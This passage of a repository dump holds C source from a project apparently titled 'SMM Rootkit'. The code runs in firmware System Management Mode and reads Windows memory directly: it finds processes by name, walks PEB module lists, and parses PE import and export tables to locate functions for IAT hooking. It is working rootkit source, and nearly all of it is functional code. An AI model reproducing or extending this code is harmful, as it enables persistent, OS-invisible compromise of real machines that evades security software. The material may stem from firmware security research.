}\n\n    UINT64 *pid = 0;\n    if (IsAddressValid(curProc + ctx->offsets.apl - 8) == TRUE)\n    {\n      pid = (UINT64 *)(curProc + ctx->offsets.apl - 8);\n\n      if (verbose)\n      {\n        SerialPrintString(\"  pid: \");\n        SerialPrintNumber(*pid, 16);\n        SerialPrintString(\" at \");\n        SerialPrintNumber(curProc + ctx->offsets.apl - 8, 16);\n        SerialPrintString(\"\\r\\n\");\n      }\n    }\n\n    if (*session || *pid == 4)\n    {\n      size++;\n      CHAR8 *name;\n\n      if (IsAddressValid(curProc + ctx->offsets.imageFileName) == TRUE)\n      {\n        name = (CHAR8 *)(curProc + ctx->offsets.imageFileName);\n\n        // Check if it's the process requested\n        if (!strcmp(name, processname))\n        {\n          process->dirBase = *dirBase;\n          process->process = virtProcess;\n          process->physProcess = curProc;\n          process->pid = *pid;\n          return TRUE;\n        }\n      }\n    }\n\n    UINT64 *tempVirt;\n    if (IsAddressValid(curProc + ctx->offsets.apl) == TRUE)\n    {\n      tempVirt = (UINT64 *)(curProc + ctx->offsets.apl);\n\n      virtProcess = *tempVirt;\n    }\n    else\n    {\n      virtProcess = 0;\n    }\n\n    virtProcess = virtProcess - ctx->offsets.apl;\n\n    if (verbose)\n    {\n      SerialPrintString(\"  virtProcess: \");\n      SerialPrintNumber(virtProcess, 16);\n      SerialPrintString(\"\\r\\n\");\n    }\n\n    if (!virtProcess)\n      break;\n\n    curProc = VTOP(virtProcess, *dirBase, verbose);\n\n    if (verbose)\n    {\n      SerialPrintString(\"  curProc: \");\n      SerialPrintNumber(curProc, 16);\n      SerialPrintString(\"\\r\\n\");\n    }\n\n    if (!curProc)\n      break;\n  }\n\n  return FALSE;\n}\n\nSTATIC BOOLEAN DumpSingleModule64(const WinCtx *ctx, const WinProc *process, WinModule *out_module, BOOLEAN *x86, BOOLEAN verbose)\n{\n  if (process->dirBase == 0 || process->physProcess == 0 || process->process == 0)\n  {\n    SerialPrintString(\"ERROR: Process not setup correctly for module dumping!\\r\\n\");\n    return FALSE;\n  }\n\n  PEB peb = GetPeb(ctx, process);\n\n  if (peb.Ldr == 0)\n  {\n    SerialPrintString(\"ERROR: Failed reading PEB64 for module dumping!\\r\\n\");\n    return FALSE;\n  }\n\n  PEB_LDR_DATA *ldr;\n\n  UINT64 physLdr = VTOP(peb.Ldr, process->dirBase, FALSE);\n\n  if (IsAddressValid(physLdr) == FALSE)\n  {\n    SerialPrintString(\"ERROR: Phys Ldr is invalid while dumping module!\\r\\n\");\n    return FALSE;\n  }\n\n  ldr = (PEB_LDR_DATA *)physLdr;\n  UINT64 head = ldr->InMemoryOrderModuleList.f_link;\n\n  UINT64 end = head;\n  UINT64 prev = head + 1;\n\n  BOOLEAN module_found = FALSE;\n\n  do\n  {\n    prev = head;\n\n    UINT8 modBuffer[sizeof(LDR_MODULE)];\n    LDR_MODULE *mod = (LDR_MODULE *)modBuffer;\n\n    v_memRead((UINT64)mod, head - sizeof(LIST_ENTRY_WIN), sizeof(LDR_MODULE), process->dirBase, FALSE);\n    v_memRead((UINT64)&head, head, sizeof(head), process->dirBase, FALSE);\n\n    if (!mod->BaseDllName.length || !mod->SizeOfImage)\n    {\n      continue;\n    }\n\n    if (mod->BaseDllName.buffer == 0)\n    {\n      continue;\n    }\n\n    UINT8 oldBuffer[0x28];\n    v_memRead((UINT64)oldBuffer, mod->BaseDllName.buffer, 0x28, process->dirBase, FALSE);\n\n    CHAR8 newBuffer[0x15];\n    for (INT32 i = 0; i < 0x14; i++)\n      newBuffer[i] = ((CHAR8 *)oldBuffer)[i * 2];\n    newBuffer[0x15 - 1] = '\\0';\n\n    if (*(INT16 *)(VOID *)newBuffer == 0x53)\n    {\n      SerialPrintStringDebug(\"  WARNING: Name buffer error while dumping module! \\r\\n\");\n      continue;\n    }\n\n    if (!stricmp(out_module->name, newBuffer))\n    {\n      out_module->baseAddress = mod->BaseAddress;\n      out_module->sizeOfModule = mod->SizeOfImage;\n      out_module->entryPoint = mod->EntryPoint;\n      out_module->loadCount = mod->LoadCount;\n      module_found = TRUE;\n    }\n\n    // bail out if the process is 64-bit,\n    // find the module with the 32-bit func\n    if (!strcmp(\"wow64.dll\", newBuffer))\n    {\n      *x86 = TRUE;\n      return FALSE;\n    }\n  } while (head != end && head != prev);\n\n  if (!module_found)\n  {\n    SerialPrintString(\"ERROR: Could not find module \");\n    SerialPrintString(out_module->name);\n    SerialPrintString(\"\\r\\n\");\n  }\n\n  return module_found;\n}\n\nSTATIC BOOLEAN DumpSingleModule86(const WinCtx *ctx, const WinProc *process, WinModule *out_module, BOOLEAN verbose)\n{\n  if (process->dirBase == 0 || process->physProcess == 0 || process->process == 0)\n  {\n    SerialPrintString(\"ERROR: Process not setup correctly \\r\\n\");\n    return FALSE;\n  }\n\n  UINT64 dirBase = process->dirBase;\n\n  // Get PEB32 of Process\n  PEB32 peb = GetPeb32(ctx, process);\n\n  if (peb.Ldr == 0)\n  {\n    SerialPrintString(\"Failed reading PEB32 \\r\\n\");\n    return FALSE;\n  }\n\n  PEB_LDR_DATA32 *ldr;\n\n  UINT64 physLdr = VTOP(peb.Ldr, dirBase, FALSE);\n\n  if (IsAddressValid(physLdr) == FALSE)\n  {\n    SerialPrintString(\"ERROR: Phys Ldr is invalid \\r\\n\");\n    return FALSE;\n  }\n\n  SerialPrintStringDebug(\"  Phys Ldr at: \");\n  SerialPrintNumberDebug(physLdr, 16);\n  SerialPrintStringDebug(\"\\r\\n\");\n\n  ldr = (PEB_LDR_DATA32 *)physLdr;\n\n  SerialPrintStringDebug(\"  Head Flink: \");\n  SerialPrintNumberDebug(ldr->InMemoryOrderModuleList.f_link, 16);\n  SerialPrintStringDebug(\"\\r\\n\");\n\n  UINT32 head = ldr->InMemoryOrderModuleList.f_link;\n\n  UINT32 end = head;\n\n  UINT32 prev = head + 1;\n\n  do\n  {\n    prev = head;\n\n    UINT8 modBuffer[sizeof(LDR_MODULE32)];\n    LDR_MODULE32 *mod = (LDR_MODULE32 *)modBuffer;\n\n    v_memRead((UINT64)mod, head - sizeof(LIST_ENTRY_32_WIN), sizeof(LDR_MODULE32), dirBase, verbose);\n    v_memRead((UINT64)&head, head, sizeof(head), dirBase, verbose);\n\n    if (!mod->BaseDllName.length || !mod->SizeOfImage)\n    {\n      SerialPrintStringDebug(\"INB1\\r\\n\");\n      continue;\n    }\n\n    if (mod->BaseDllName.buffer == 0)\n    {\n      SerialPrintStringDebug(\"INB2\\r\\n\");\n      continue;\n    }\n\n    UINT8 oldBuffer[0x28];\n    v_memRead((UINT64)oldBuffer, mod->BaseDllName.buffer, 0x28, dirBase, verbose);\n\n    CHAR8 newBuffer[0x15];\n    for (INT32 i = 0; i < 0x14; i++)\n      newBuffer[i] = ((CHAR8 *)oldBuffer)[i * 2];\n    newBuffer[0x15 - 1] = '\\0';\n\n    SerialPrintStringDebug(\"MN \");\n    for (INT32 i = 0; i < 0x15; i++)\n    {\n      // what the fuck?\n      // SerialPrintString(newBuffer[i]);\n    }\n    SerialPrintStringDebug(\"\\r\\n\");\n\n    if (*(INT16 *)(VOID *)newBuffer == 0x53)\n    {\n      SerialPrintStringDebug(\"ERROR: Buffer error! \\r\\n\");\n      continue;\n    }\n\n    if (!strcmp(out_module->name, newBuffer))\n    {\n      SerialPrintStringDebug(\"  Found module \\r\\n\");\n\n      out_module->baseAddress = mod->BaseAddress;\n      out_module->sizeOfModule = mod->SizeOfImage;\n      out_module->entryPoint = mod->EntryPoint;\n      out_module->loadCount = mod->LoadCount;\n      return TRUE;\n    }\n\n  } while (head != end && head != prev);\n\n  return FALSE;\n}\n\nBOOLEAN DumpSingleModule(const WinCtx *ctx, const WinProc *process, WinModule *out_module, BOOLEAN verbose)\n{\n  BOOLEAN x86 = FALSE;\n  BOOLEAN ret = DumpSingleModule64(ctx, process, out_module, &x86, verbose);\n\n  if (ret == FALSE && x86 == FALSE)\n  {\n    SerialPrintStringDebug(\"Could not find the module from a 64-bit process!\\r\\n\");\n    return FALSE;\n  }\n\n  if (x86)\n  {\n    SerialPrintStringDebug(\"The process seems to be x86 ...\\r\\n\");\n    ret = DumpSingleModule86(ctx, process, out_module, verbose);\n  }\n  return ret;\n}\n\nPEB GetPeb(const WinCtx *ctx, const WinProc *process)\n{\n  PEB peb;\n  UINT64 ppeb = 0;\n  p_memCpy((UINT64)&ppeb, process->physProcess + ctx->offsets.peb, sizeof(UINT64), FALSE);\n  v_memRead((UINT64)&peb, ppeb, sizeof(PEB), process->dirBase, FALSE);\n  return peb;\n}\n\nPEB32 GetPeb32(const WinCtx *ctx, const WinProc *process)\n{\n  PEB32 peb;\n  UINT64 ppeb = 0;\n\n  p_memCpy((UINT64)&ppeb, process->physProcess + ctx->offsets.peb, sizeof(UINT64), FALSE);\n  v_memRead((UINT64)&peb, ppeb + 0x1000, sizeof(PEB32), process->dirBase, FALSE);\n\n  return peb;\n}\n\nSTATIC PIMAGE_NT_HEADERS PE_HeaderGetVerify(WinProc *process, WinModule *basemodule, UINT8 *pbModuleHeader, BOOLEAN *pfHdr32)\n{\n  PIMAGE_DOS_HEADER dosHeader;\n  PIMAGE_NT_HEADERS ntHeader;\n  if (pfHdr32)\n  {\n    *pfHdr32 = FALSE;\n  }\n  v_memRead((UINT64)pbModuleHeader, basemodule->baseAddress, HEADER_SIZE, process->dirBase, FALSE);\n  dosHeader = (PIMAGE_DOS_HEADER)pbModuleHeader;\n  if (!dosHeader || dosHeader->e_magic != IMAGE_DOS_SIGNATURE)\n  {\n    return NULL;\n  }\n  if (dosHeader->e_lfanew > 0x800)\n  {\n    return NULL;\n  }\n  ntHeader = (PIMAGE_NT_HEADERS)(pbModuleHeader + dosHeader->e_lfanew);\n  if (!ntHeader || ntHeader->Signature != IMAGE_NT_SIGNATURE)\n  {\n    return NULL;\n  }\n  if ((ntHeader->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC) && (ntHeader->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR32_MAGIC))\n  {\n    return NULL;\n  }\n  if (pfHdr32)\n  {\n    *pfHdr32 = (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC);\n  }\n  return ntHeader;\n}\n\nBOOLEAN ProcessGetThunkInfoIAT(WinProc *process, WinModule *basemodule, CHAR8 *szImportModuleName, CHAR8 *szImportProcName, PPE_THUNKINFO_IAT pThunkInfoIAT)\n{\n  EFI_PHYSICAL_ADDRESS physAddr;\n  EFI_STATUS ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &physAddr);\n\n  if (ret != EFI_SUCCESS)\n  {\n    SerialPrintString(\"ERROR: Failed allocating pages \\r\\n\");\n    return FALSE;\n  }\n  UINT8 *pbModuleHeader = (UINT8 *)physAddr;\n  // nullify the allocated memory\n  for (INT32 k = 0; k < 0x1000; k++)\n  {\n    pbModuleHeader[k] = 0x00;\n  }\n  PIMAGE_NT_HEADERS64 ntHeader64;\n  PIMAGE_NT_HEADERS32 ntHeader32;\n  UINT64 i, oImportDirectory;\n  PIMAGE_IMPORT_DESCRIPTOR pIID;\n  UINT64 *pIAT64;\n  UINT64 *pHNA64;\n  UINT32 *pIAT32;\n  UINT32 *pHNA32;\n  UINT32 cbModule;\n  UINT8 *pbModule = NULL;\n  BOOLEAN f32, fFnName;\n  UINT32 c, j;\n  CHAR8 *szNameFunction;\n  CHAR8 *szNameModule;\n  // load both 32/64 bit ntHeader (only one will be valid)\n  if (!(ntHeader64 = PE_HeaderGetVerify(process, basemodule, pbModuleHeader, &f32)))\n  {\n    SerialPrintString(\"ERROR: Parsing PE headers in VMM failed!\\r\\n\");\n    goto fail;\n  }\n  ntHeader32 = (PIMAGE_NT_HEADERS32)ntHeader64;\n  cbModule = f32 ? ntHeader32->OptionalHeader.SizeOfImage : ntHeader64->OptionalHeader.SizeOfImage;\n  // too large\n  if (cbModule > 0x02000000)\n  {\n    SerialPrintString(\"ERROR: Module size too large\\r\\n\");\n    goto fail;\n  }\n  oImportDirectory = f32 ? ntHeader32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress : ntHeader64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;\n  if (!oImportDirectory || (oImportDirectory >= cbModule))\n  {\n    SerialPrintString(\"ERROR: offset of import directory failed\\r\\n\");\n    goto fail;\n  }\n\n  // allocate the huge buffer for the module image inside SMM.\n  // TODO: this is very ugly and shall not be done, definitely WIP\n  SerialPrintStringDebug(\"  Allocating \");\n  SerialPrintNumberDebug(cbModule, 10);\n  SerialPrintStringDebug(\" bytes of memory for the PE image ...\\r\\n\");\n  EFI_PHYSICAL_ADDRESS physAddrImage;\n  ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, cbModule / 0x1000 + 1, &physAddrImage);\n  if (ret != EFI_SUCCESS)\n  {\n    SerialPrintStringDebug(\"ERROR: IAT: Failed allocating pages for the module image data \\r\\n\");\n    goto fail;\n  }\n  pbModule = (UINT8 *)physAddrImage;\n  // nullify the allocated memory\n  for (INT32 k = 0; k < cbModule; k++)\n  {\n    pbModule[k] = 0x00;\n  }\n  v_memReadMultiPage((UINT64)pbModule, basemodule->baseAddress, cbModule, process->dirBase, FALSE);\n\n  // Walk imported modules / functions\n  pIID = (PIMAGE_IMPORT_DESCRIPTOR)(pbModule + oImportDirectory);\n  i = 0, c = 0;\n  while ((oImportDirectory + (i + 1) * sizeof(IMAGE_IMPORT_DESCRIPTOR) < cbModule) && pIID[i].FirstThunk)\n  {\n    if (pIID[i].Name > cbModule - 64)\n    {\n      i++;\n      continue;\n    }\n    if (f32)\n    {\n      // 32-bit PE\n      SerialPrintStringDebug(\"    The target seems to be 32-bit...\\r\\n\");\n      j = 0;\n      pIAT32 = (UINT32 *)(pbModule + pIID[i].FirstThunk);\n      pHNA32 = (UINT32 *)(pbModule + pIID[i].OriginalFirstThunk);\n      while (TRUE)\n      {\n        if ((UINT64)(pIAT32 + j) + sizeof(UINT32) - (UINT64)pbModule > cbModule)\n          break;\n        if ((UINT64)(pHNA32 + j) + sizeof(UINT32) - (UINT64)pbModule > cbModule)\n          break;\n        if (!pIAT32[j])\n          break;\n        if (!pHNA32[j])\n          break;\n        fFnName = (pHNA32[j] < cbModule - 40);\n        szNameFunction = (CHAR8 *)(pbModule + pHNA32[j] + 2);\n        szNameModule = (CHAR8 *)(pbModule + pIID[i].Name);\n        if (fFnName && !strcmp(szNameFunction, szImportProcName) && !stricmp(szNameModule, szImportModuleName))\n        {\n          SerialPrintStringDebug(\"  Found the procname \");\n          SerialPrintStringDebug(szNameFunction);\n          SerialPrintStringDebug(\" for IAT hook!\\r\\n\");\n          pThunkInfoIAT->fValid = TRUE;\n          pThunkInfoIAT->f32 = TRUE;\n          pThunkInfoIAT->vaThunk = basemodule->baseAddress + pIID[i].FirstThunk + sizeof(UINT32) * j;\n          pThunkInfoIAT->vaFunction = pIAT32[j];\n          pThunkInfoIAT->vaNameFunction = basemodule->baseAddress + pHNA32[j] + 2;\n          pThunkInfoIAT->vaNameModule = basemodule->baseAddress + pIID[i].Name;\n\n          gSmst2->SmmFreePages(physAddr, 1);\n          gSmst2->SmmFreePages(physAddrImage, cbModule / 0x1000 + 1);\n          return TRUE;\n        }\n        c++;\n        j++;\n      }\n    }\n    else\n    {\n      // 64-bit PE\n      SerialPrintStringDebug(\"    The target seems to be 64-bit...\\r\\n\");\n      j = 0;\n      pIAT64 = (UINT64 *)(pbModule + pIID[i].FirstThunk);\n      pHNA64 = (UINT64 *)(pbModule + pIID[i].OriginalFirstThunk);\n      while (TRUE)\n      {\n        if ((UINT64)(pIAT64 + j) + sizeof(UINT64) - (UINT64)pbModule > cbModule)\n          break;\n        if ((UINT64)(pHNA64 + j) + sizeof(UINT64) - (UINT64)pbModule > cbModule)\n          break;\n        if (!pIAT64[j])\n          break;\n        if (!pHNA64[j])\n          break;\n        fFnName = (pHNA64[j] < cbModule - 40);\n        szNameFunction = (CHAR8 *)(pbModule + pHNA64[j] + 2);\n        szNameModule = (CHAR8 *)(pbModule + pIID[i].Name);\n        SerialPrintStringDebug(\"    IAT: Comparing \");\n        SerialPrintStringDebug(szNameFunction);\n        SerialPrintStringDebug(\"\\r\\n\");\n        if (fFnName && !strcmp(szNameFunction, szImportProcName) && !stricmp(szNameModule, szImportModuleName))\n        {\n          pThunkInfoIAT->fValid = TRUE;\n          pThunkInfoIAT->f32 = FALSE;\n          pThunkInfoIAT->vaThunk = basemodule->baseAddress + pIID[i].FirstThunk + sizeof(UINT64) * j;\n          pThunkInfoIAT->vaFunction = pIAT64[j];\n          pThunkInfoIAT->vaNameFunction = basemodule->baseAddress + pHNA64[j] + 2;\n          pThunkInfoIAT->vaNameModule = basemodule->baseAddress + pIID[i].Name;\n\n          gSmst2->SmmFreePages(physAddr, 1);\n          gSmst2->SmmFreePages(physAddrImage, cbModule / 0x1000 + 1);\n          return TRUE;\n        }\n        c++;\n        j++;\n      }\n    }\n    i++;\n  }\nfail:\n  gSmst2->SmmFreePages(physAddr, 1);\n  gSmst2->SmmFreePages(physAddrImage, cbModule / 0x1000 + 1);\n  return FALSE;\n}\n\nSTATIC UINT16 PE_SectionGetNumberOf(WinProc *process, WinModule *basemodule)\n{\n  EFI_PHYSICAL_ADDRESS physAddr;\n  EFI_STATUS ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &physAddr);\n\n  if (ret != EFI_SUCCESS)\n  {\n    SerialPrintStringDebug(\"ERROR: Failed allocating pages \\r\\n\");\n    gSmst2->SmmFreePages(physAddr, 1);\n    return 0;\n  }\n  UINT8 *pbModuleHeader = (UINT8 *)physAddr;\n  // nullify the allocated memory\n  for (INT32 k = 0; k < 0x1000; k++)\n  {\n    pbModuleHeader[k] = 0x00;\n  }\n\n  BOOLEAN f32;\n  UINT16 cSections;\n  PIMAGE_NT_HEADERS ntHeader;\n  // load nt header either by using optionally supplied module header or by fetching from memory.\n  if (!(ntHeader = PE_HeaderGetVerify(process, basemodule, pbModuleHeader, &f32)))\n  {\n    SerialPrintStringDebug(\"ERROR: Parsing PE headers in VMM failed!\\r\\n\");\n    gSmst2->SmmFreePages(physAddr, 1);\n    return 0;\n  }\n  cSections = f32 ? ((PIMAGE_NT_HEADERS32)ntHeader)->FileHeader.NumberOfSections : ((PIMAGE_NT_HEADERS64)ntHeader)->FileHeader.NumberOfSections;\n  if (cSections > 0x40)\n  {\n    SerialPrintStringDebug(\"ERROR: Sections > 0x40!\\r\\n\");\n    gSmst2->SmmFreePages(physAddr, 1);\n    return 0;\n  }\n  gSmst2->SmmFreePages(physAddr, 1);\n  return cSections;\n}\n\nSTATIC VOID PE_SECTION_DisplayBuffer(WinProc *process, WinModule *basemodule, UINT32 cbDisplayBufferMax, UINT32 *pcSectionsOpt, PIMAGE_SECTION_HEADER pSectionsOpt)\n{\n  EFI_PHYSICAL_ADDRESS physAddr;\n  EFI_STATUS ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &physAddr);\n\n  if (ret != EFI_SUCCESS)\n  {\n    SerialPrintString(\"ERROR: Failed allocating pages \\r\\n\");\n    return;\n  }\n  UINT8 *pbModuleHeader = (UINT8 *)physAddr;\n  // nullify the allocated memory\n  for (INT32 k = 0; k < 0x1000; k++)\n  {\n    pbModuleHeader[k] = 0x00;\n  }\n  PIMAGE_NT_HEADERS64 ntHeader64;\n  BOOLEAN fHdr32;\n  UINT32 cSections, cSectionsOpt;\n  PIMAGE_SECTION_HEADER pSectionBase;\n  if (pcSectionsOpt)\n  {\n    cSectionsOpt = *pcSectionsOpt;\n    *pcSectionsOpt = 0;\n  }\n  if (!(ntHeader64 = PE_HeaderGetVerify(process, basemodule, pbModuleHeader, &fHdr32)))\n  {\n    return;\n  }\n  pSectionBase = fHdr32 ? (PIMAGE_SECTION_HEADER)((UINT64)ntHeader64 + sizeof(IMAGE_NT_HEADERS32)) : (PIMAGE_SECTION_HEADER)((UINT64)ntHeader64 + sizeof(IMAGE_NT_HEADERS64));\n  cSections = (UINT32)(((UINT64)pbModuleHeader + 0x1000 - (UINT64)pSectionBase) / sizeof(IMAGE_SECTION_HEADER));\n  if (cSections > ntHeader64->FileHeader.NumberOfSections)\n  {\n    cSections = ntHeader64->FileHeader.NumberOfSections;\n  }\n  if (pSectionsOpt && pcSectionsOpt && cSectionsOpt)\n  {\n    if (cSectionsOpt < ntHeader64->FileHeader.NumberOfSections)\n    {\n      *pcSectionsOpt = cSectionsOpt;\n    }\n    else\n    {\n      *pcSectionsOpt = ntHeader64->FileHeader.NumberOfSections;\n    }\n    p_memCpy((UINT64)pSectionsOpt, (UINT64)pSectionBase, *pcSectionsOpt * sizeof(IMAGE_SECTION_HEADER), FALSE);\n  }\n  gSmst2->SmmFreePages(physAddr, 1);\n}\n\nBOOLEAN ProcessGetSections(WinProc *process, WinModule *basemodule, PIMAGE_SECTION_HEADER pSections, UINT32 cSections, UINT32 *pcSections)\n{\n  UINT32 sections = PE_SectionGetNumberOf(process, basemodule);\n  if (!pSections)\n  {\n    *pcSections = sections;\n    return TRUE;\n  }\n  if (cSections < sections)\n  {\n    return FALSE;\n  }\n  PE_SECTION_DisplayBuffer(process, basemodule, 0, &cSections, pSections);\n  *pcSections = cSections;\n  return TRUE;\n}\n\nSTATIC BOOLEAN PE_GetThunkInfoEAT(WinProc *process, WinModule *basemodule, CHAR8 *procName, PPE_THUNKINFO_EAT pThunkInfoEAT)\n{\n  // allocate space for pbModuleHeader\n  EFI_PHYSICAL_ADDRESS physAddr;\n  EFI_STATUS ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &physAddr);\n\n  if (ret != EFI_SUCCESS)\n  {\n    SerialPrintString(\"ERROR: Failed allocating pages for EAT dump!\\r\\n\");\n    return FALSE;\n  }\n  UINT8 *pbModuleHeader = (UINT8 *)physAddr;\n\n  PIMAGE_NT_HEADERS32 ntHeader32;\n  PIMAGE_NT_HEADERS64 ntHeader64;\n  UINT32 *pdwRVAAddrNames;\n  UINT32 *pdwRVAAddrFunctions;\n  UINT16 *pwNameOrdinals;\n  UINT32 cbProcName, cbExportDirectoryOffset;\n  CHAR8 *sz;\n  UINT64 vaExportDirectory;\n  UINT32 cbExportDirectory;\n  UINT8 *pbExportDirectory = NULL;\n  UINT64 vaRVAAddrNames, vaNameOrdinals, vaRVAAddrFunctions;\n  BOOLEAN f32;\n  if (!(ntHeader64 = PE_HeaderGetVerify(process, basemodule, pbModuleHeader, &f32)))\n  {\n    goto cleanup;\n  }\n  if (f32)\n  {\n    ntHeader32 = (PIMAGE_NT_HEADERS32)ntHeader64;\n    vaExportDirectory = basemodule->baseAddress + ntHeader32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;\n    cbExportDirectory = ntHeader32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;\n  }\n  else\n  {\n    vaExportDirectory = basemodule->baseAddress + ntHeader64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;\n    cbExportDirectory = ntHeader64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;\n  }\n\n  // sanity check the export directory values\n  if ((cbExportDirectory < sizeof(IMAGE_EXPORT_DIRECTORY)) || (cbExportDirectory > 0x01000000) || (vaExportDirectory == basemodule->baseAddress) || (vaExportDirectory > basemodule->baseAddress + 0x80000000))\n  {\n    goto cleanup;\n  }\n  EFI_PHYSICAL_ADDRESS physAddrExportDir;\n  ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, cbExportDirectory / 0x1000 + 1, &physAddrExportDir);\n  if (ret != EFI_SUCCESS)\n  {\n    SerialPrintString(\"ERROR: Failed allocating pages for the EAT module export directory \\r\\n\");\n    gSmst2->SmmFreePages(physAddr, 1);\n    return FALSE;\n  }\n  pbExportDirectory = (UINT8 *)physAddrExportDir;\n  // nullify the allocated memory\n  for (INT32 k = 0; k < cbExportDirectory; k++)\n  {\n    pbExportDirectory[k] = 0x00;\n  }\n\n  // read the export directory to SMM memory\n  // SerialPrintStringDebug(\"  Reading the export directory to the buffer ...\\r\\n\");\n  v_memReadMultiPage((UINT64)pbExportDirectory, vaExportDirectory, cbExportDirectory, process->dirBase, FALSE);\n\n  PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)pbExportDirectory;\n  SerialPrintStringDebug(\"  EAT Buffer filled with \");\n  SerialPrintNumberDebug(exp->NumberOfNames, 10);\n  SerialPrintStringDebug(\" exported names in it!\\r\\n\");\n\n  if (!exp || !exp->NumberOfNames || !exp->AddressOfNames)\n  {\n    SerialPrintString(\"ERROR: EAT exp buffer invalid!\\r\\n\");\n    goto cleanup;\n  }\n  vaRVAAddrNames = basemodule->baseAddress + exp->AddressOfNames;\n  vaNameOrdinals = basemodule->baseAddress + exp->AddressOfNameOrdinals;\n  vaRVAAddrFunctions = basemodule->baseAddress + exp->AddressOfFunctions;\n  if ((vaRVAAddrNames < vaExportDirectory) || (vaRVAAddrNames > vaExportDirectory + cbExportDirectory - exp->NumberOfNames * sizeof(UINT32)))\n  {\n    SerialPrintString(\"ERROR: vaRVAAddrNames invalid! value: \");\n    SerialPrintNumber(vaRVAAddrNames, 16);\n    SerialPrintString(\"\\r\\n\");\n    goto cleanup;\n  }\n  if ((vaNameOrdinals < vaExportDirectory) || (vaNameOrdinals > vaExportDirectory + cbExportDirectory - exp->NumberOfNames * sizeof(UINT16)))\n  {\n    SerialPrintString(\"ERROR: vaNameOrdinals invalid! value: \");\n    SerialPrintNumber(vaNameOrdinals, 16);\n    SerialPrintString(\"\\r\\n\");\n    goto cleanup;\n  }\n  if ((vaRVAAddrFunctions < vaExportDirectory) || (vaRVAAddrFunctions > vaExportDirectory + cbExportDirectory - exp->NumberOfNames * sizeof(UINT32)))\n  {\n    SerialPrintString(\"ERROR: vaRVAAddrFunctions invalid! value: \");\n    SerialPrintNumber(vaRVAAddrFunctions, 16);\n    SerialPrintString(\"\\r\\n\");\n    goto cleanup;\n  }\n  cbProcName = (UINT32)strlen(procName) + 1;\n  cbExportDirectoryOffset = (UINT32)(vaExportDirectory - basemodule->baseAddress);\n  pdwRVAAddrNames = (UINT32 *)(pbExportDirectory + exp->AddressOfNames - cbExportDirectoryOffset);\n  pwNameOrdinals = (UINT16 *)(pbExportDirectory + exp->AddressOfNameOrdinals - cbExportDirectoryOffset);\n  pdwRVAAddrFunctions = (UINT32 *)(pbExportDirectory + exp->AddressOfFunctions - cbExportDirectoryOffset);\n  for (UINT32 i = 0; i < exp->NumberOfNames; i++)\n  {\n    if (pdwRVAAddrNames[i] - cbExportDirectoryOffset + cbProcName > cbExportDirectory)\n    {\n      SerialPrintStringDebug(\"EAT: WARNING: pdwRVAAddrNames[i] exceeds cbExportDirectory at index \");\n      SerialPrintNumberDebug(i, 10);\n      SerialPrintStringDebug(\"\\r\\n\");\n      continue;\n    }\n    sz = (CHAR8 *)(pbExportDirectory + pdwRVAAddrNames[i] - cbExportDirectoryOffset);\n    if (!strncmp(sz, procName, cbProcName))\n    {\n      if (pwNameOrdinals[i] >= exp->NumberOfFunctions)\n      {\n        goto cleanup;\n      }\n      SerialPrintStringDebug(\"  EAT: Found ProcName \");\n      SerialPrintStringDebug(sz);\n      SerialPrintStringDebug(\"!\\r\\n\");\n      pThunkInfoEAT->fValid = TRUE;\n      pThunkInfoEAT->vaFunction = (UINT64)(basemodule->baseAddress + pdwRVAAddrFunctions[pwNameOrdinals[i]]);\n      pThunkInfoEAT->valueThunk = pdwRVAAddrFunctions[pwNameOrdinals[i]];\n      pThunkInfoEAT->vaThunk = vaExportDirectory + exp->AddressOfFunctions - cbExportDirectoryOffset + sizeof(UINT32) * pwNameOrdinals[i];\n      pThunkInfoEAT->vaNameFunction = vaExportDirectory + pdwRVAAddrNames[i] - cbExportDirectoryOffset;\n      gSmst2->SmmFreePages(physAddr, 1);\n      gSmst2->SmmFreePages(physAddrExportDir, cbExportDirectory / 0x1000 + 1);\n      return TRUE;\n    }\n  }\ncleanup:\n  gSmst2->SmmFreePages(physAddr, 1);\n  gSmst2->SmmFreePages(physAddrExportDir, cbExportDirectory / 0x1000 + 1);\n  SerialPrintString(\"EAT: FAILED TO FIND procName: \");\n  SerialPrintString(procName);\n  SerialPrintString(\"\\r\\n\");\n  return FALSE;\n}\n\nUINT64 ProcessGetProcAddress(WinProc *process, WinModule *basemodule, CHAR8 *procName)\n{\n  PE_THUNKINFO_EAT oThunkInfoEAT = {0};\n  PE_GetThunkInfoEAT(process, basemodule, procName, &oThunkInfoEAT);\n  return oThunkInfoEAT.vaFunction;\n}\n"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/WinTools.h",
